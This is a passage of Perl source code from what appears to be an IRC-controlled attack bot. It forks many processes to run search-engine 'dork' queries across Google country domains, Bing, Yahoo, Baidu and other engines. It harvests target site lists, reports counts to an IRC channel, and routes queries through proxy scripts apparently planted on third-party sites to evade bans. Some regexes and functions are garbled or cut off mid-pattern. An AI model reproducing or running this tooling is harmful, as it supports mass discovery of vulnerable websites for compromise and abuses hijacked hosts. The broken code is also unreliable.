== 0){ &message($chanx,"![7Go14.4TH]! Clean: 14".&Clean(&Mocha($GooTH,&Key($dork)."+site:th"))." site"); exit; } $proc[39] = fork(); if($proc[39] == 0){ &message($chanx,"![7Go14.4KR]! Clean: 14".&Clean(&Mocha($GooKR,&Key($dork)."+site:kr"))." site"); exit; } $proc[40] = fork(); if($proc[40] == 0){ &message($chanx,"![7Go14.4CN]! Clean: 14".&Clean(&Mocha($GooCN,&Key($dork)."+site:cn"))." site"); exit; } $proc[41] = fork(); if($proc[41] == 0){ &message($chanx,"![7Go14.4HK]! Clean: 14".&Clean(&Mocha($GooHK,&Key($dork)."+site:hk"))." site"); exit; } $proc[42] = fork(); if($proc[42] == 0){ &message($chanx,"![7Go14.4VN]! Clean: 14".&Clean(&Mocha($GooVN,&Key($dork)."+site:vn"))." site"); exit; } $proc[43] = fork(); if($proc[43] == 0){ &message($chanx,"![7Go14.4LT]! Clean: 14".&Clean(&Mocha($GooLT,&Key($dork)."+site:lt"))." site"); exit; } $proc[44] = fork(); if($proc[44] == 0){ &message($chanx,"![7Go14.4SG]! Clean: 14".&Clean(&Mocha($GooSG,&Key($dork)."+site:sg"))." site"); exit; } $proc[45] = fork(); if($proc[45] == 0){ &message($chanx,"![7Go14.4TV]! Clean: 14".&Clean(&Mocha($GooTV,&Key($dork)."+site:tv"))." site"); exit; } $proc[46] = fork(); if($proc[46] == 0){ &message($chanx,"![7Go14.4CH]! Clean: 14".&Clean(&Mocha($GooCH,&Key($dork)."+site:ch"))." site"); exit; } $proc[47] = fork(); if($proc[47] == 0){ &message($chanx,"![7Go14.4WS]! Clean: 14".&Clean(&Mocha($GooWS,&Key($dork)."+site:ws"))." site"); exit; } $proc[48] = fork(); if($proc[48] == 0){ &message($chanx,"![7Go14.4CC]! Clean: 14".&Clean(&Mocha($GooCC,&Key($dork)."+site:cc"))." site"); exit; } $proc[49] = fork(); if($proc[49] == 0){ &message($chanx,"![7Go14.4NZ]! Clean: 14".&Clean(&Mocha($GooNZ,&Key($dork)."+site:nz"))." site"); exit; } $proc[50] = fork(); if($proc[50] == 0){ &message($chanx,"![7Go14.4EE]! Clean: 14".&Clean(&Mocha($GooEE,&Key($dork)."+site:ee"))." site"); exit; } $proc[51] = fork(); if($proc[51] == 0){ &message($chanx,"![7Go14.4PT]! Clean: 14".&Clean(&Mocha($GooPT,&Key($dork)."+site:pt"))." site"); exit; } $proc[52] = fork(); if($proc[52] == 0){ &message($chanx,"![7Go14.4FI]! Clean: 14".&Clean(&Mocha($GooFI,&Key($dork)."+site:fi"))." site"); exit; } $proc[53] = fork(); if($proc[53] == 0){ &message($chanx,"![7Go14.4BY]! Clean: 14".&Clean(&Mocha($GooBY,&Key($dork)."+site:by"))." site"); exit; } $proc[54] = fork(); if($proc[54] == 0){ &message($chanx,"![7Go14.4PY]! Clean: 14".&Clean(&Mocha($GooPY,&Key($dork)."+site:py"))." site"); exit; } $proc[55] = fork(); if($proc[55] == 0){ &message($chanx,"![7Go14.4TW]! Clean: 14".&Clean(&Mocha($GooTW,&Key($dork)."+site:tw"))." site"); exit; } $proc[56] = fork(); if($proc[56] == 0){ &message($chanx,"![7Go14.4ES]! Clean: 14".&Clean(&Mocha($GooES,&Key($dork)."+site:es"))." site"); exit; } $proc[57] = fork(); if($proc[57] == 0){ &message($chanx,"![7Go14.4CR]! Clean: 14".&Clean(&Mocha($GooCR,&Key($dork)."+site:cr"))." site"); exit; } $proc[58] = fork(); if($proc[58] == 0){ &message($chanx,"![7Go14.4VE]! Clean: 14".&Clean(&Mocha($GooVE,&Key($dork)."+site:ve"))." site"); exit; } $proc[59] = fork(); if($proc[59] == 0){ &message($chanx,"![7Go14.4GR]! Clean: 14".&Clean(&Mocha($GooGR,&Key($dork)."+site:gr"))." site"); exit; } $proc[60] = fork(); if($proc[60] == 0){ &message($chanx,"![7Go14.4NL]! Clean: 14".&Clean(&Mocha($GooNL,&Key($dork)."+site:nl"))." site"); exit; } $proc[61] = fork(); if($proc[61] == 0){ &message($chanx,"![7Go14.4IE]! Clean: 14".&Clean(&Mocha($GooIE,&Key($dork)."+site:ie"))." site"); exit; } $proc[62] = fork(); if($proc[62] == 0){ &message($chanx,"![7Go14.4SE]! Clean: 14".&Clean(&Mocha($GooSE,&Key($dork)."+site:se"))." site"); exit; } $proc[63] = fork(); if($proc[63] == 0){ &message($chanx,"![7Go14.4NO]! Clean: 14".&Clean(&Mocha($GooNO,&Key($dork)."+site:no"))." site"); exit; } $proc[64] = fork(); if($proc[64] == 0){ &message($chanx,"![7Go14.4PE]! Clean: 14".&Clean(&Mocha($GooPE,&Key($dork)."+site:pe"))." site"); exit; } $proc[65] = fork(); if($proc[65] == 0){ &message($chanx,"![7Go14.4PA]! Clean: 14".&Clean(&Mocha($GooPA,&Key($dork)."+site:pa"))." site"); exit; } $proc[66] = fork(); if($proc[66] == 0){ &message($chanx,"![7Go14.4EU]! Clean: 14".&Clean(&Mocha($GooEU,&Key($dork)."+site:eu"))." site"); exit; } $proc[67] = fork(); if($proc[67] == 0){ &message($chanx,"![7Go14.4LU]! Clean: 14".&Clean(&Mocha($GooLU,&Key($dork)."+site:lu"))." site"); exit; } $proc[68] = fork(); if($proc[68] == 0){ &message($chanx,"![7Go14.4ME]! Clean: 14".&Clean(&Mocha($GooME,&Key($dork)."+site:me"))." site"); exit; } $proc[69] = fork(); if($proc[69] == 0){ &message($chanx,"![7Go14.4UY]! Clean: 14".&Clean(&Mocha($GooUY,&Key($dork)."+site:uy"))." site"); exit; } $proc[70] = fork(); if($proc[70] == 0){ &message($chanx,"![7Go14.4MD]! Clean: 14".&Clean(&Mocha($GooMD,&Key($dork)."+site:md"))." site"); exit; } $proc[71] = fork(); if($proc[71] == 0){ &message($chanx,"![7Go14.4BD]! Clean: 14".&Clean(&Mocha($GooBD,&Key($dork)."+site:bd"))." site"); exit; } $proc[72] = fork(); if($proc[72] == 0){ &message($chanx,"![7Go14.4RS]! Clean: 14".&Clean(&Mocha($GooRS,&Key($dork)."+site:rs"))." site"); exit; } $proc[73] = fork(); if($proc[73] == 0){ &message($chanx,"![7Go14.4BA]! Clean: 14".&Clean(&Mocha($GooBA,&Key($dork)."+site:ba"))." site"); exit; } $proc[74] = fork(); if($proc[74] == 0){ &message($chanx,"![7Go14.4DZ]! Clean: 14".&Clean(&Mocha($GooDZ,&Key($dork)."+site:eu"))." site"); exit; } $proc[75] = fork(); if($proc[75] == 0){ &message($chanx,"![7Go14.4UZ]! Clean: 14".&Clean(&Mocha($GooUZ,&Key($dork)."+site:uz"))." site"); exit; } $proc[76] = fork(); if($proc[76] == 0){ &message($chanx,"![7Go14.4NP]! Clean: 14".&Clean(&Mocha($GooNP,&Key($dork)."+site:np"))." site"); exit; } $proc[77] = fork(); if($proc[77] == 0){ &message($chanx,"![7Go14.4CY]! Clean: 14".&Clean(&Mocha($GooCY,&Key($dork)."+site:cy"))." site"); exit; } $proc[78] = fork(); if($proc[78] == 0){ &message($chanx,"![7Go14.4UG]! Clean: 14".&Clean(&Mocha($GooUG,&Key($dork)."+site:ug"))." site"); exit; } $proc[79] = fork(); if($proc[79] == 0){ &message($chanx,"![7Go14.4NG]! Clean: 14".&Clean(&Mocha($GooNG,&Key($dork)."+site:ng"))." site"); exit; } $proc[80] = fork(); if($proc[80] == 0){ &message($chanx,"![7Go14.4PH]! Clean: 14".&Clean(&Mocha($GooPH,&Key($dork)."+site:ph"))." site"); exit; } $proc[81] = fork(); if($proc[81] == 0){ &message($chanx,"![7Go14.4PK]! Clean: 14".&Clean(&Mocha($GooPK,&Key($dork)."+site:pk"))." site"); exit; } $proc[82] = fork(); if($proc[82] == 0){ &message($chanx,"![7Go14.4KH]! Clean: 14".&Clean(&Mocha($GooKH,&Key($dork)."+site:kh"))." site"); exit; } $proc[83] = fork(); if($proc[83] == 0){ &message($chanx,"![7Go14.4MK]! Clean: 14".&Clean(&Mocha($GooMK,&Key($dork)."+site:mk"))." site"); exit; } $proc[84] = fork(); if($proc[84] == 0){ &message($chanx,"![7Go14.4IS]! Clean: 14".&Clean(&Mocha($GooIS,&Key($dork)."+site:is"))." site"); exit; } $proc[85] = fork(); if($proc[85] == 0){ &message($chanx,"![7Go14.4SI]! Clean: 14".&Clean(&Mocha($GooSI,&Key($dork)."+site:si"))." site"); exit; } $proc[86] = fork(); if($proc[86] == 0){ &message($chanx,"![7Go14.4SV]! Clean: 14".&Clean(&Mocha($GooSV,&Key($dork)."+site:sv"))." site"); exit; } $proc[87] = fork(); if($proc[87] == 0){ &message($chanx,"![7Go14.4TO]! Clean: 14".&Clean(&Mocha($GooTO,&Key($dork)."+site:am"))." site"); exit; } $proc[88] = fork(); if($proc[88] == 0){ &message($chanx,"![7Go14.4IO]! Clean: 14".&Clean(&Mocha($GooIO,&Key($dork)."+site:io"))." site"); exit; } $proc[89] = fork(); if($proc[89] == 0){ &message($chanx,"![7Go14.4BZ]! Clean: 14".&Clean(&Mocha($GooBZ,&Key($dork)."+site:bz"))." site"); exit; } $proc[90] = fork(); if($proc[90] == 0){ &message($chanx,"![7Go14.4AZ]! Clean: 14".&Clean(&Mocha($GooAZ,&Key($dork)."+site:az"))." site"); exit; } $proc[91] = fork(); if($proc[91] == 0){ &message($chanx,"![7Go14.4AE]! Clean: 14".&Clean(&Mocha($GooAE,&Key($dork)."+site:ae"))." site"); exit; } $proc[92] = fork(); if($proc[92] == 0){ &message($chanx,"![7Go14.4EC]! Clean: 14".&Clean(&Mocha($GooHN,&Key($dork)."+site:ec"))." site"); exit; } $proc[93] = fork(); if($proc[93] == 0){ &message($chanx,"![7Go14.4GE]! Clean: 14".&Clean(&Mocha($GooGE,&Key($dork)."+site:ge"))." site"); exit; } $proc[94] = fork(); if($proc[94] == 0){ &message($chanx,"![7Go14.4AO]! Clean: 14".&Clean(&Mocha($GooAO,&Key($dork)."+site:ao"))." site"); exit; } $proc[95] = fork(); if($proc[95] == 0){ &message($chanx,"![7Go14.4NAME]! Clean: 14".&Clean(&Mocha($GooNAME,&Key($dork)."+site:name"))." site"); exit; } $proc[96] = fork(); if($proc[96] == 0){ &message($chanx,"![7Go14.4CAT]! Clean: 14".&Clean(&Mocha($GooCAT,&Key($dork)."+site:cat"))." site"); exit; } $proc[97] = fork(); if($proc[97] == 0){ &message($chanx,"![7Go14.4XYZ]! Clean: 14".&Clean(&Mocha($GooXYZ,&Key($dork)."+site:xyz"))." site"); exit; } $proc[98] = fork(); if($proc[98] == 0){ &message($chanx,"![7Go14.4EDU]! Clean: 14".&Clean(&Mocha($GooEDU,&Key($dork)."+site:edu"))." site"); exit; } } } ######################## ### [ END OF GOOGLE ]### ######################## $proc[110] = fork(); if($proc[110] == 0){ &message($chanx,"![4Goopro]! Clean: 14".&Clean(&Googlepro($dork))." site"); exit; } $proc[111] = fork(); if($proc[111] == 0){ &message($chanx,"![4Goodom]! Clean: 14".&Clean(&Googledom($dork))." site"); exit; } $proc[112] = fork(); if($proc[112] == 0){ &message($chanx,"![4Google]! Clean: 14".&Clean(&Google($dork))." site"); exit; } $proc[113] = fork(); if($proc[113] == 0){ &message($chanx,"![4Bing]! Clean: 14".&Clean(&Bing($dork))." site"); exit; } $proc[114] = fork(); if($proc[114] == 0){ &message($chanx,"![4Bingdom]! Clean: 14".&Clean(&Bingdom($dork))." site"); exit; } $proc[115] = fork(); if($proc[115] == 0){ &message($chanx,"![4Yahoo]! Clean: 14".&Clean(&Yahoo($dork))." site"); exit; } $proc[116] = fork(); if($proc[116] == 0){ &message($chanx,"![4Yadom]! Clean: 14".&Clean(&Yahoos($dork))." site"); exit; } $proc[117] = fork(); if($proc[117] == 0){ &message($chanx,"![4MWS]! Clean: 14".&Clean(&MWS($dork))." site"); exit; } $proc[118] = fork(); if($proc[118] == 0){ &message($chanx,"![4WOW]! Clean: 14".&Clean(&WOW($dork))." site"); exit; } $proc[119] = fork(); if($proc[119] == 0){ &message($chanx,"![4Baidu]! Clean: 14".&Clean(&Baidu($dork))." site"); exit; } $proc[120] = fork(); if($proc[120] == 0){ &message($chanx,"![4Lexis]! Clean: 14".&Clean(&Lexis($dork))." site"); exit; } $proc[121] = fork(); if($proc[121] == 0){ &message($chanx,"![4Teoma]! Clean: 14".&Clean(&Teoma($dork))." site"); exit; } $proc[122] = fork(); if($proc[122] == 0){ &message($chanx,"![4Dogpile]! Clean: 14".&Clean(&Dogpile($dork))." site"); exit; } $proc[123] = fork(); if($proc[123] == 0){ &message($chanx,"![4Najdi]! Clean: 14".&Clean(&Najdi($dork))." site"); exit; } $proc[124] = fork(); if($proc[124] == 0){ &message($chanx,"![4Search]! Clean: 14".&Clean(&Search($dork))." site"); exit; } $proc[125] = fork(); if($proc[125] == 0){ &message($chanx,"![4Ecosia]! Clean: 14".&Clean(&Ecosia($dork))." site"); exit; } $proc[126] = fork(); if($proc[126] == 0){ &message($chanx,"![4Sougou]! Clean: 14".&Clean(&Sougou($dork))." site"); exit; } $proc[127] = fork(); if($proc[127] == 0){ &message($chanx,"![4Seznam]! Clean: 14".&Clean(&Seznam($dork))." site"); exit; } $proc[128] = fork(); if($proc[128] == 0){ &message($chanx,"![4SNZ]! Clean: 14".&Clean(&SNZ($dork))." site"); exit; } $proc[129] = fork(); if($proc[129] == 0){ &message($chanx,"![4Kvasir]! Clean: 14".&Clean(&Kvasir($dork))." site"); exit; } $proc[130] = fork(); if($proc[130] == 0){ &message($chanx,"![4ASK]! Clean: 14".&Clean(&ASK($dork))." site"); exit; } $proc[131] = fork(); if($proc[131] == 0){ &message($chanx,"![4Interia]! Clean: 14".&Clean(&Interia($dork))." site"); exit; } $proc[132] = fork(); if($proc[132] == 0){ &message($chanx,"![4Lycos]! Clean: 14".&Clean(&Lycos($dork))." site"); exit; } $proc[133] = fork(); if($proc[133] == 0){ &message($chanx,"![4Lookseek]! Clean: 14".&Clean(&Lookseek($dork))." site"); exit; } foreach my $search_engine(@proc){ waitpid($search_engine,0); } } ########################################### ##[ GOOGLE PHP PROXY ]## sub Mocha(){ my($google, $dork)=@_; my $start; my $num=60; my $max=240; my $file="XXX.txt"; my $html; my @result; my @gdom = ("com.au", "com.br", "co.uk", "co.jp", "ie", "ru", "de", "com"); my $rand = $gdom[rand(scalar(@gdom))]; for($start=0; $start < $max; $start += $num){ $html.=&Query("http://".$google."/".$bypass_path."?q=".$dork."&p=".$start."&d=".$rand, 30); } while($html =~ m/(.+?)<\/span>
/g){ if($1 !~ /$badx/){ push(@result, &Links($1, $file)); } } return(@result); } ##[ GOOGLE BYPASS ]## sub Googlepro(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=60; my $max=300; my $file="Bypass.txt"; my $html; my @result; my $google = $bypass[rand(scalar(@bypass))]; for($start=0; $start < $max; $start += $num){ $html.=&Query("http://".$google."/".$bypass_path."?q=".$dork."&p=".$start."&d=com", 25); } while($html =~ m/(.+?)<\/span>
/g){ if($1 !~ /$badx/){ push(@result, &Links($1, $file)); } } return(@result); } ##[ SEARCH BYPASS ]## sub Search(){ my($dork)=@_; $dork=&Key($dork); my $file="Search.txt"; my $html; my @result; $html.=&Query("http://www.bau-satz.net/wordpress/wp-admin/includes/search.php?q=".$dork); while($html =~ m/(.+?)<\/span>
/g){ if($1 !~ /$badx/){ push(@result, &Links($1, $file)); } } return(@result); } ########################################### ##[ GOOGLE ]## sub Google(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=10; my $max=400; my $file="Google.txt"; my $html; my $session; my @result; for($start=0; $start < $max; $start += $num){ $html.=&Query("http://www.google.com/search?q=".$dork."&num=20&filter=0&ei".$session."&start=".$start, 3, 1); if($html =~ /prmd=ivns&ei=(.*?)&start=/){ $session = $1; } } if($html !~ m/url\?q=(http|https):\/\//g){ &message($chanx,"[4*] [14Google]:4 Banned !"); } else { while($html =~ m/\/url\?q=(http|https):\/\/([^>\"]*)&sa=/g){ if($2 !~ /$badx/){ push(@result, &Links($2, $file)); } } } return(@result); } ##[ GOOGLE DOMAIN ]## sub Googledom(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=10; my $max=700; my @dom = &GoogleDomains(); my $file="Googledom.txt"; my @godom = ("au", "br", "mx", "uk", "nz", "jp", "sg", "ie"); my @godam = ("com.au", "com.br", "com.mx", "co.uk", "co.nz", "co.jp", "com.sg", "ie"); my $html; my $session; my @result; for($start=0; $start < $max; $start += $num){ my $goo = $godom[rand(scalar(@godom))]; my $god = $godam[rand(scalar(@godam))]; $html.=&Query("http://www.google.".$god."/search?q=".$dork."%20site:".$goo."&num=20&hl=".$goo."&filter=0&ei=".$session."&start=".$start, 3, 1); if($html =~ /prmd=ivns&ei=(.*?)&start=/){ $session = $1; } } while($html =~ m/\/url\?q=(http|https):\/\/([^>\"]*)&sa=/g){ if($2 !~ /$badx/){ push(@result, &Links($2, $file)); } } return(@result); } ##[ YAHOO ]## sub Yahoo(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=10; my $max=500; my $file="Yahoo.txt"; my $html; my @result; my $next; my $pvid; my $auth = &Hape("http://search.yahoo.com/search", 3, 1); if($auth =~ /yahoo\.com\/;_ylt=(.+?)\"/){ $next = $1; } if($auth =~ /name=\"pvid\" value=\"(.+?)\"/){ $pvid = $1; } for($start=1; $start < $max; $start += $num){ $html =&Hape("http://search.yahoo.com/search;_ylt=".$next."?p=".$dork."&pvid=".$pvid."&ei=UTF-8&fr=sfp&xargs=0&psqn=&b=".$start."&pstart", 3, 1); while($html =~ m/\/RU=(http|https)\%3a\%2f\%2f(.*?)\/RK=/g){ if($2 !~ /$badx/){ push(@result, &Links(&urldecode($2), $file)); } } if($html =~ /yahoo\.com\/;_ylt=(.+?)\"/){ $next = $1; } if($html =~ /name=\"pvid\" value=\"(.+?)\"/){ $pvid = $1; } } return(@result); } ##[ YAHOO DOMAIN ]## sub Yahoos(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=10; my $max=100; my $file="Yahoos.txt"; my $html; my $next; my $pvid; my @result; my $auth = &Hape("http://search.yahoo.com/search", 3, 1); if($auth =~ /yahoo\.com\/;_ylt=(.+?)\"/){ $next = $1; } if($auth =~ /name=\"pvid\" value=\"(.+?)\"/){ $pvid = $1; } my @yahoodom = ("br", "fr", "au", "uk", "ie", "ca", "de", "nl", "ch", "jp", "pl"); foreach my $domen (@yahoodom){ for($start=1; $start < $max; $start += $num){ $html =&Hape("http://search.yahoo.com/search;_ylt=".$next."?p=".$dork."+site:".$domen."&pvid=".$pvid."&ei=UTF-8&fr=sfp&xargs=0&psqn=&b=".$start."&pstart", 3, 1); while($html =~ m/\/RU=(http|https)\%3a\%2f\%2f(.*?)\/RK=/g){ if($2 !~ /$badx/){ push(@result, &Links(&urldecode($2), $file)); } } if($html =~ /yahoo\.com\/;_ylt=(.+?)\"/){ $next = $1; } if($html =~ /name=\"pvid\" value=\"(.+?)\"/){ $pvid = $1; } } } return(@result); } ##[ LYCOS ]## sub Lycos(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=1; my $max=100; my $file="Lycos.txt"; my $html; my $next; my @result; my $auth = &Hape("http://search.lycos.com/", 3, 1); $auth =~ s/\r|\n//g; if($auth =~ /name=\"keyvol.*value=\"(.*?)\"/){ $key = $1; } for($start=0; $start < $max; $start += $num){ $html=&Hape("http://search.lycos.com/web?q=".$dork."&keyvol=".$key."&pageInfo=".$next, 3, 1); while($html =~ m/&as=(http|https)\%3A\%2F\%2F(.*?)\" class=\"result/g){ if($2 !~ /$badx/){ push(@result, &Links(&urldecode($2), $file)); } } if($html =~ /&pageInfo=(.*?)\">Next/){ $next = $1; } } return(@result); } ##[ MYWEBSEARCH ]## sub MWS(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=1; my $max=80; my $file="MWS.txt"; my $html; my @result; for($start=0; $start < $max; $start += $num){ $html.=&Query("http://int.search.mywebsearch.com/mywebsearch/GGweb.jhtml?tpr=hpsb&n=&st=hp&qs=fn&searchfor=".$dork."&pn=".$start."", 3, 1); } while($html =~ m/algo-title \" href=\"(http|https):\/\/(.+?)\"/g){ if($2 !~ /$badx/){ push(@result, &Links($2, $file)); } } return(@result); } ##[ AOL COOKIE ]## sub AOL(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=1; my $max=80; my $file="AOL.txt"; my $html; my $next; my @result; &Query("http://search.aol.com/aol/webhome", 3, 1); for($start=1; $start < $max; $start += $num){ $html=&Query("http://search.aol.com/aol/search?q=".$dork."&s_it=sb-home&v_t=na&page=".$start."&oreq=".$next, 3, 1); while($html =~ m/href=\"(http|https):\/\/(.+?)\" property/g){ if($2 !~ /$badx/){ push(@result, &Links($2, $file)); } } if($html =~ /&oreq=(.+?)\">\"]*)\//g){ if($2 !~ /$badx/){ push(@result, &Links($2, $file)); } } return(@result); } ##[ BING DOMAIN ]## sub Bingdom(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=10; my $max=200; my $file="Bingdom.txt"; my $html; my @result; $html.=&Query("http://www.bing.com/search?q=".$dork); if($html =~ /&cvid=(.+?)&/){ $cvid = $1; #&message($chanx,"[4*] [3Bing]: using ID credentials => 14".$cvid.""); } my @bingdom = ("au", "br", "de", "uk", "fr", "ie", "ch"); foreach my $domen (@bingdom){ for($start=0; $start < $max; $start += $num){ $html.=&Query("http://www.bing.com/search?q=".$dork."&cc=".$domen."&rf=1&cvid=".$cvid."&first=".$start."&FORM=PERE", 3, 1); } } while($html =~ m//){ $rsv_pq = $2; $rsv_t = $3; $rqid = $4; #&message($chanx,"[4*] [3Baidu]: using ID credentials => 14".$rsv_pq." - 14".$rsv_t." - 14".$rqid.""); } for($start=1; $start < $max; $start += $num){ $html.=&Hape("http://m.baidu.com/s?pn=".$start."&usm=3&word=".$dork."&sa=np&rsv_pq=".$rsv_pq."&rsv_t=".$rsv_t."&rqid=".$rqid, 3, 1); } while($html =~ m/mu':'(http|https):\/\/(.*?)'\}/g){ if($2 !~ /$badx/){ push(@result, &Links($2, $file)); } } return(@result); } ##[ ECOSIA ]## sub Ecosia(){ my($dork)=@_; $dork=&Key($dork); my $num=1; my $max=200; my $file="Ecosia.txt"; my $html; my @result; for($start=1; $start < $max; $start += $num){ $html.=&Hape("http://www.ecosia.org/search?p=".$start."&q=".$dork, 3, 1); } while($html =~ m/url\" href=\"(http|https):\/\/(.*?)\"/g){ if($2 !~ /$badx/){ push(@result, &Links($2, $file)); } } return(@result); } ##[ SEARCHNZ ]## sub SNZ(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=1; my $max=100; my $file="SNZ.txt"; my $html; my $key; my @result; for($start=0; $start < $max; $start++){ $html.=&Query("http://www.searchnz.co.nz/search.aspx?q=".$dork."&gr=false&np=".$start, 3, 1); } while($html =~ m/snz\.asp\?(http|https)\%3a\%2f\%2f(.+?)&/g){ if($2 !~ /$badx/){ push(@result, &Links(&urldecode($2), $file)); } } return(@result); } ##[ DOGPILE ]## sub Dogpile(){ my($dork)=@_; $dork=&Key($dork); my $num=10; my $max=300; my $file="Dogpile.txt"; my $html; my @result; for($start=1; $start < $max; $start += $num){ $html.=&Hape("http://www.dogpile.com/info.dogpl.lh/search/web?qsi=".$start."&q=".$dork."&fcoid=4&fcop=results-bottom&fpid=2", 3); } while($html =~ m/ClickHandler\.ashx\?encp=(.*?)\" >/g){ $rez = &urldecode($1); if($rez =~ /ru=(http|https)\%3a\%2f\%2f(.*?)&coi=/){ if($2 !~ /$badx/){ push(@result, &Links(&urldecode($2), $file)); } } } return(@result); } ##[ SOUGOU ]## sub Sougou(){ my($dork)=@_; $dork=&Key($dork); my $num=1; my $max=80; my $file="Sougou.txt"; my $xuid; my $suid; my $html; my @result; my $auth = &Hape("http://wap.sogou.com/web/searchList.jsp?keyword=".$dork, 3, 1); if($auth =~ //){ $xuid = $2; $suid = $4; #&message($chanx,"[4*] [3Sougou]: using ID credentials => 14".$xuid." - 14".$suid.""); } for($start=0; $start < $max; $start += $num){ $html.=&Hape("http://wap.sogou.com/web/searchList.jsp?pg=webSearchList&p=".$start."&type=1&keyword=".$dork."&uID=".$xuid."&dp=1&v=2&suuid=".$suid, 3, 1); } while($html =~ m/&clk=(.+?)&url=(http|https)\%3A\%2F\%2F(.*?)&f=0&id=/g){ if($3 !~ /$badx/){ push(@result, &Links(&urldecode($3), $file)); } } return(@result); } ##[ SEZNAM ]## sub Seznam(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=30; my $max=600; my $file="Seznam.txt"; my $html; my @result; for($start=1; $start < $max; $start += $num){ $html.=&Query("http://search.seznam.cz/?q=".$dork."&count=20&pId=vinB6deFwAeLAE93kvIu&from=".$start, 3, 1); } while($html =~ m//g){ if($2 !~ /$badx|kvasir\.no/){ push(@result, &Links($2, $file)); } } return(@result); } ##[ NAJDI ]## (Dead but Result) sub Najdi(){ my($dork)=@_; $dork=&Key($dork); my $num=1; my $max=80; my $file="Najdi.txt"; my $html; my @result; for($start=1; $start < $max; $start += $num){ $html.=&Hape("http://www.najdi.si/najdi/".$dork."/stran/".$start, 3, 1); } while($html =~ m/href=\"(http|https):\/\/(.+?)\">/g){ if($2 !~ /$badx|\.najdi\.si/){ push(@result, &Links($2, $file)); } } return(@result); } ##[ INTERIA ]## sub Interia(){ my($dork)=@_; $dork=&Key($dork); my $num=1; my $max=80; my $file="Interia.txt"; my $html; my @result; for($start=1; $start < $max; $start += $num){ $html.=&Query("http://google.interia.pl/szukaj,q,".$dork.",w,pl,p,".$start, 3, 1); $html.=&Query("http://google.interia.pl/szukaj,q,".$dork.",w,sw,p,".$start, 3, 1); } while($html =~ m//g){ if($2 !~ /$badx/){ push(@result, &Links($2, $file)); } } return(@result); } ##[ LOOKSEEK ]## sub Lookseek(){ my($dork)=@_; $dork=&Key($dork); my $num=10; my $max=200; my $file="Lookseek.txt"; my $html; my @result; for($start=0; $start < $max; $start += $num){ $html.=&Hape("http://search.lookseek.com/searchls.php?q=".$dork."&start=".$start."&af=0", 3, 1); } while($html =~ m//g){ if($2 !~ /$badx/){ push(@result, &Links($2, $file)); } } return(@result); } ##[ ASK MOD ]## sub ASK(){ my($dork)=@_; $dork=&Key($dork); my $num=1; my $max=80; my $file="ASK.txt"; my $qsrc=998; my $html; my @result; my $auth = &Query("http://www.ask.com/web?q=".$dork."&o=0&qo=homepageSearchBox", 3, 1); if($auth =~ /&qsrc=(.*?)&/){ $qsrc = $1; } for($start=1; $start < $max; $start += $num){ $html.=&Query("http://www.ask.com/web?q=".$dork."&o=0&qo=pagination&qsrc=".$qsrc."&page=".$start, 3, 1); } while($html =~ m/href='(http|https):\/\/(.+?)' data/g){ if($1 !~ /$badx/){ push(@result, &Links($2, $file)); } } return(@result); } ##[ TEOMA MOD ]## sub Teoma(){ my($dork)=@_; $dork=&Key($dork); my $num=1; my $max=80; my $file="Teoma.txt"; my $tid=10; my $html; my @result; my $auth = &Query("http://www.teoma.com/web?q=".$dork, 3, 1); if($auth =~ /web\?tpr=(.*?)&/){$tid = $1; } for($start=1; $start < $max; $start += $num){ $html.=&Query("http://www.teoma.com/web?tpr=10&q=".$dork."&page=".$start, 3, 1); } while($html =~ m/ 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleID){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.ID => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleRU){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.RU => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleBE){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.BE => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleRO){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.RO => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleJP){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.JP => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleZA){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.ZA => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleCZ){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.CZ => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleFR){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.FR => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleAU){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.AU => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleMY){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.MY => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleUK){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.UK => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleDE){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ /DLC_SEARCH_ENGINE/){ &message($admin,"![4~]! Go.DE => 14http://".$gosite.$gopath.""); } } foreach my $gosite(@GoogleIL){ my $gorest = &Query("http://".$gosite.$gopath); if($gorest !~ 